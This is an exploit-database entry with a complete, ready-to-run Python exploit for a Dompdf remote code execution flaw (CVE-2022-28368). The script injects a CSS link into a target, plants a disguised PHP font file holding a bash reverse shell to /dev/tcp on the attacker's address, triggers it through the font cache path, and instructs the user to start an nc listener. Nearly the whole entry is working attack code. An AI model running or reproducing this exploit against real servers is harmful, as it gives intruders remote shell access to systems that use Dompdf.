发布 2023-04-06 漏洞条目

Dompdf 1.2.1 – Remote Code Execution (RCE)

Exploit Source

#!/usr/bin/python3

# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)

# Date: 16 February 2023

# Exploit Author: Ravindu Wickramasinghe (@rvizx9)

# Vendor Homepage: https://dompdf.github.io/

# Software Link: https://github.com/dompdf/dompdf

# Version: <1.2.1

# Tested on: Kali linux

# CVE : CVE-2022-28368

# Github Link : https://github.com/rvizx/CVE-2022-28368

import subprocess

import re

import os

import sys

import curses

import requests

import base64

import argparse

import urllib.parse

from urllib.parse import urlparse

def banner():

print('''

\033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit

\033[0mRavindu Wickramasinghe\033[2m | rvz - @rvizx9

https://github.com/rvizx/\033[0mCVE-2022-28368

''')

exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="

def get_ip_addresses():

output = subprocess.check_output(['ifconfig']).decode()

ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'

ip_addresses = re.findall(ip_pattern, output)

ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]

ip_addresses = list(set(ip_addresses))

ip_addresses.insert(0, 'localhost')

return ip_addresses

def choose_ip_address(stdscr, ip_addresses):

curses.curs_set(0)

curses.noecho()

stdscr.keypad(True)

current_row = 0

num_rows = len(ip_addresses)

stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")

while True:

stdscr.clear()

stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")

for i, ip_address in enumerate(ip_addresses):

if i == current_row:

stdscr.addstr(ip_address, curses.A_REVERSE)

else:

stdscr.addstr(ip_address)

stdscr.addstr("\n")

key = stdscr.getch()

if key == curses.KEY_UP and current_row > 0:

current_row -= 1

elif key == curses.KEY_DOWN and current_row < num_rows - 1:

current_row += 1

elif key == curses.KEY_ENTER or key in [10, 13]:

return ip_addresses[current_row]

def help():

print('''

usage:

./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance>

example:

./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/

notes:

- Provide the parameters in the URL (regardless the request method)

- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce

The program has been successfully tested for RCE on some systems where dompdf was implemented,

But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce

due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.

In this application, the same implementation was added for now.

Although it may be pointless at the moment, you can still manually add the payload

by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

- more : https://www.cve.org/CVERecord?id=CVE-2022-28368

''')

sys.exit()

def check_url(url):

regex = re.compile(

r'^(?:http|ftp)s?://'

r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'

r'localhost|'

r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'

r'(?::\d+)?'

r'(?:/?|[/?]\S+)$', re.IGNORECASE)

if not re.match(regex, url):

print(f"\033[91m[err]:\033[0m {url} is not a valid url")

return False

else:

return True

def final_param(url):

query_start = url.rfind('?')

if query_start == -1:

query_start = url.rfind('&')

if query_start == -1:

return None

query_string = url[query_start+1:]

for param in reversed(query_string.split('&')):

if '=' in param:

name = param.split('=')[0]

if name:

return name

return None

if __name__ == '__main__':

banner()

ports = ['9001', '9002']

for port in ports:

try:

processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")

for line in processes.split("\n"):

if "LISTEN" in line:

pid = line.split()[1]

port = line.split()[8].split(":")[1]

if port == "9001" or port == "9002":

os.system("kill -9 {}".format(pid))

print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')

except:

pass

if len(sys.argv) == 1:

print("\033[91m[err]:\033[0m no endpoints were provided. try --help")

sys.exit(1)

elif sys.argv[1] == "--help" or sys.argv[1] == "-h":

help()

elif len(sys.argv) > 1:

parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")

parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)

parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)

args = parser.parse_args()

injectpoint = args.inject

dompdf_url = args.dompdf

if not check_url(injectpoint) and (not check_url(dompdf_url)):

sys.exit()

param=final_param(injectpoint)

if param == None:

print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")

sys.exit()

ip_addresses = get_ip_addresses()

sip = curses.wrapper(choose_ip_address, ip_addresses)

print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')

shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''

print("\033[94m[inf]:\033[0m using payload: " +shell)

print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")

decoded_data = base64.b64decode(exploit_font).decode('utf-8')

decoded_data += '\n' + shell

css = '''

@font-face {

font-family:'exploitfont';

src:url('http://'''+sip+''':9001/exploit_font.php');

font-weight:'normal';

font-style:'normal';

}

'''

with open("exploit.css","w") as f:

f.write(css)

with open("exploit_font.php","w") as f:

f.write(decoded_data)

print("\033[94m[inf]:\033[0m starting http server on port 9001..")

http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])

url = "http://"+sip+":9001/exploit_font.php"

echo_output = subprocess.check_output(['echo', '-n', url.encode()])

md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)

md5_hash = md5sum_output.split()[0].decode()

print("\033[94m[inf]:\033[0m url hash: "+md5_hash)

print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")

print("\033[94m[inf]:\033[0m sending the payloads..\n")

url = injectpoint

if url.endswith("/"):

url = url[:-1]

headers = {

'Host': urlparse(injectpoint).hostname,

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

'Connection': 'close',

'Upgrade-Insecure-Requests': '1',

'Content-Type': 'application/x-www-form-urlencoded',

}

payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"

data = '{\r\n"'+param+'": "'+payload+'"\r\n}'

try:

response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)

response2 = requests.post(url, headers=headers, data=data, verify=False)

except:

print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")

sys.exit()

if response1.status_code == 200 or response2.status_code == 200:

print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")

else:

print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))

print("\033[94m[inf]:\033[0m terminating the http server..")

http_server.terminate()

print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")

print("\nnc -lvnp 9002")

input("\n\033[93m[ins]:\033[0m press enter to continue!")

print("\033[93m[ins]:\033[0m check for connections!")

del headers['Content-Type']

url = dompdf_url

if url.endswith("/"):

url = url[:-1]

url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"

response = requests.get(

url,

headers=headers,

verify=False, )

if response.status_code == 200:

print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))

else:

print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))

print("\033[94m[inf]:\033[0m process complete!")

作者: Ravindu Wickramasinghe
日期: 2023-04-06
类别: webapps
平台: php

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